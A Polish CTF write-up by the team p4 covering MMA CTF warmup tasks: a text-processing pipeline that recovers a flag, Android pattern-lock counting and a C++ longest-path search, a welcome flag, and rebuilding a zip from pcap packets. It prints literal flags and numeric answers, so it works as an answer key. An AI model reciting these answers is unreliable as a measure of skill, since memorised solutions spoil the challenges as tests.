Mogliśmy załadować tą bibliotekę do tymczasowego exe, i wywoływać w pętli dla intów 0..46. Albo przepisać ręcznie po literce. Ale dla odmiany pobawiliśmy się w linux-fu - skopiowaliśmy kod do pliku i załatwiliśmy sprawę jedną komendą:

cat howtouse.txt | cut -c4- | sort -n | sed -e 's/lb/{/' | sed -e 's/rb/}/' | sed -e 's/[0-9]\+//' | cut -c8- | sed 's/.$//' | tr -d '\n'
MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}

Kolejne zadanie rozwiązane

<font size="6">Pattern Lock #1(PPC/Warmup, 20p, 385 solves)</span>
Mamy się dowiedzieć ile jest możliwych kombinacji wpisania kodu na siatce 3x3 na typowym androidowym ekranie blokady.
Przy czym:
Kropka może być użyta tylko raz
Musimy użyć minimum czterech kropek
Nie możemy pomijać kropek na swojej trasie (chyba że zostały wcześniej zaznaczone)

8ccde398d5.png

Jako, że nie jest to specjalnie oryginalne pytane to nie trzeba było długo szukać w internetach, odpowiedź to 389112 możliwych kombinacji.

<font size="6">Pattern Lock #2 (PPC/Warmup, 40p, 32 solves)</span>
Tutaj jest trochę trudniej, musimy znaleźć najdłuższą drogę w tym samym mechaniźmie, lecz tym razem ma on mieć 4x4 punktów.
Zwykły bruteforce (16!) mógłby trochę potrwać, dlatego postanowiłem go lekko przyspieszyć trzymając tablicę wszystkich możliwych ułożeń naszego kodu. Nie musimy się martwić o pamięć bo zajmować będzie ona tylko 2^16*16 (każda kropka może być włączona albo nie i dodatkowo mamy 16 możliwych ostatnich pozycji kodu).
Mając taką tablicę wystarczy zakodzić dfsa pomieszanego z dijkstrą (gdy zauważymy, że w aktualnej sytuacji mieliśmy już lepszy wynik to reszty aktualnego rozwiązania już nie liczymy).
Nie musimy się martwić o stratę czasu na szukaniu odpowiadającego pola w tablilcy, możemy wykonać to w czasie O(1) traktując naszą mapkę jako liczbę w systemie binarnym (0*2^0 + 1*2^1 + 1 * 2 ^ 2…)
Całość sprowadza się do takiego kodu

#include <iostream>
#include <climits>
#include <cmath>
#include <iomanip>

using namespace std;

double dijkstra[65536][16];

double distance(int from, int to){
    int x1 = from%4;
    int y1 = from/4;

    int x2 = to%4;
    int y2 = to/4;

    return sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2));
}

bool isInBoard(int x){
    return (x >= 0 && x<16);
}

bool isSelected(int board, int x){
    return (board | x) == board;
}


void dfs(int board, int currentPosition, double currentScore){
    if(dijkstra[board][currentPosition] >= currentScore){
        return;
    }
    dijkstra[board][currentPosition] = currentScore;

    for(int y2=0; y2<4; y2++){
        for(int x2=0; x2<4; x2++){
            int next = y2*4 + x2;

            int y1 = currentPosition/4;
            int x1 = currentPosition%4;

            bool canPass = true;

            if(abs(y1-y2) == abs(x1-x2) && abs(y1 - y2) != 1){
                if(y2 - y1 > 0){
                    if(x2 - x1 > 0){
                        for(int i = 1; i<abs(y2-y1); i++){
                            if(!isSelected(board, pow(2, currentPosition + i * 4 + i))){
                                canPass = false;
                            }
                        }
                    } else {
                        for(int i = 1; i<abs(y2-y1); i++){
                            if(!isSelected(board, pow(2, currentPosition + i * 4 - i))){
                                canPass = false;
                            }
                        }
                    }
                } else {
                    if(x2 - x1 > 0){
                        for(int i = 1; i<abs(y2-y1); i++){
                            if(!isSelected(board, pow(2, currentPosition - i * 4 + i))){
                                canPass = false;
                            }
                        }
                    } else {
                        for(int i = 1; i<abs(y2-y1); i++){
                            if(!isSelected(board, pow(2, currentPosition - i * 4 - i))){
                                canPass = false;
                            }
                        }
                    }
                }
            }

            if(y2 == y1){
                if(x2 - x1){
                    for(int i = x1; i<x2; i++){
                        if(!isSelected(board, pow(2, currentPosition + (i-x1)))){
                            canPass = false;
                        }
                    }    
                } else {
                    for(int i = x1; i>x2; i--){
                        if(!isSelected(board, pow(2, currentPosition + (i-x1)))){
                            canPass = false;
                        }
                    }
                }
                
            } if (x2 == x1){
                if(y2 > y1){
                    for(int i = y1; i<y2; i++){
                        if(!isSelected(board, pow(2, currentPosition + (i - y1)*4))){
                            canPass = false;
                        }
                    }
                } else {
                    for(int i = y1; i>y2; i--){
                        if(!isSelected(board, pow(2, currentPosition + (i - y1)*4))){
                            canPass = false;
                        }
                    }
                }
                
            }

            if(canPass){
                if(!isSelected(board, pow(2, next))){
                    dfs(board + pow(2, next), next, currentScore + distance(currentPosition, next));
                }    
            }
        
        }
    }
}    

int main(){
    for(int y=0;y<65536; y++){
        for(int x=0; x<16; x++){
            dijkstra[y][x] = INT_MIN;
        }
    }    
    
    for(int x=0; x<16; x++){
        dfs(pow(2, x), x, 0);
    }

    double maks = 0;

    for(int y=0;y<65536; y++){
        for(int x=0; x<16; x++){
            maks = max(maks, dijkstra[y][x]);
        }
    }    

    cout << setprecision(4) << fixed << maks << endl;


}

Po chwili dostajemy piękny wynik 45.7528 i 40 punktów :)

<font size="6">Welcome!! (Misc/Warmup, 10p, 657 solves)</span>
The flag is "MMA{Welcome_To_MMACTF!!}".
Darmowe 10 punktów!

<font size="6">Splitted (Forensics, Warmup, 30p, 286 solves)</span>
Po podglądnięciu pcapa w Wiresharku od razu rzuca się w oczy parę pakietów:

96a70927c1.png

Okazuje się, że jest to jeden zip rozrzucony na 8 części, nie pozostaje nam nic innego jak tylko go posklejać.

O kolejność nie musimy się martwić, tutaj z pomocą przychodzi nam Content-Range w każdym pakiecie.

Po chwili układania dostajemy zipa z którego wyskakuje nam taki obrazek:

a8537182c0.png

<font size="6">Zakończenie</span>

No i kolejny CTF za nami, tym razem w największym składzie w historii p4. Udało nam się skończyć na miejscu 49/672 ~= top 7.3% licząc zespoły które rozwiązały "welcome", albo inaczej mówiąc 49/532 ~= top 9.2% licząc zespoły które rozwiązały przynajmniej jedno normalne zadanie. Nie jest to może szczyt naszych możliwości (za dwa tygodnie CSAW, wtedy się dopiero postaramy :P), ale nie jest źle.

Zachęcamy do komentarzy/pytań/czegokolwiek.

PS. jeszcze czeka na redakcję writeup z DS CTF (w zasadzie skończony, trzeba go tylko uprorządkować i wkleić). A w sumie nawet dwa writeupy, jeden publikowany w programiście.
Może się zbierzemy kiedyś i go wrzucimy tutaj :P.